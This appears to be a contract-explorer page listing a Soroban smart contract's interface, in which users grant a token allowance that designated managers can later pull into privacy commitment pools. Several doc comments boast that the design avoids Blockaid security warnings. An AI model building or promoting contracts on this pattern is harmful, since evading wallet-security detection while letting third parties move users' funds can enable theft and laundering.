Contract b74367b144fcbbb3b39489499d68721bcecde8db688d6f65a03b01c003080004

← Back to Index 📥 Download WASM

Meta

rssdkver 22.0.8#f46e9e0610213bbb72285566f9dd960ff96d03d8
rsver 1.88.0

Instances

  • CC4DJERAN2RG5X2VTVW7346PE6PBI37GDXCGW4MNSNJGA6SF2JULAHYL

Interface

Initialize the contract with an owner who becomes the first manager NO wallet signer modification - just contract setup!

fn initialize(
    env: soroban_sdk::Env,
    owner: soroban_sdk::Address,
) -> Result<(), ContractError>

Approve the contract to spend tokens on behalf of the user ✅ NO Blockaid warnings - uses standard token allowance! ✅ NO wallet signer modification!

Parameters:

  • owner: The address approving the spending
  • token: Which token to approve
  • amount: Maximum amount the contract can spend

Example: Approve contract to spend up to 100 XLM

fn approve_spending(
    env: soroban_sdk::Env,
    owner: soroban_sdk::Address,
    token: soroban_sdk::Address,
    amount: i128,
) -> Result<(), ContractError>

Deposit using pre-approved allowance (AVOIDS Blockaid warnings!) Manager can initiate deposit on behalf of user who has approved spending

This is the KEY function to avoid wallet signer modifications! User calls approve_spending() once, then manager can deposit anytime

Parameters:

  • manager: Authorized manager initiating the deposit
  • from: User whose tokens are being deposited (must have approved allowance)
  • denomination: Which fixed amount pool
  • token: Token contract address
  • commitment: Hash commitment for privacy
fn deposit_from_allowance(
    env: soroban_sdk::Env,
    manager: soroban_sdk::Address,
    from: soroban_sdk::Address,
    denomination: Denomination,
    token: soroban_sdk::Address,
    commitment: soroban_sdk::BytesN<32>,
) -> Result

Add an authorized manager (doesn't modify wallet signers - avoids Blockaid warnings!) Only existing managers can add new managers

fn add_manager(
    env: soroban_sdk::Env,
    caller: soroban_sdk::Address,
    new_manager: soroban_sdk::Address,
) -> Result<(), ContractError>

Remove a manager Only existing managers can remove managers

fn remove_manager(
    env: soroban_sdk::Env,
    caller: soroban_sdk::Address,
    manager_to_remove: soroban_sdk::Address,
) -> Result<(), ContractError>

Check if an address is a manager

fn is_manager(env: soroban_sdk::Env, address: soroban_sdk::Address) -> bool

Get current allowance for an owner-token pair

fn get_allowance(
    env: soroban_sdk::Env,
    owner: soroban_sdk::Address,
    token: soroban_sdk::Address,
) -> i128

Get current commitment count for a specific denomination pool

fn get_commitment_count(env: soroban_sdk::Env, denomination: Denomination) -> u32

Get commitment by index for a specific denomination pool

fn get_commitment(
    env: soroban_sdk::Env,
    denomination: Denomination,
    index: u32,
) -> Option>

Get the fixed amount for a denomination

fn get_denomination_amount(env: soroban_sdk::Env, denomination: Denomination) -> i128

Imports

WebAssembly Text (WAT) ▶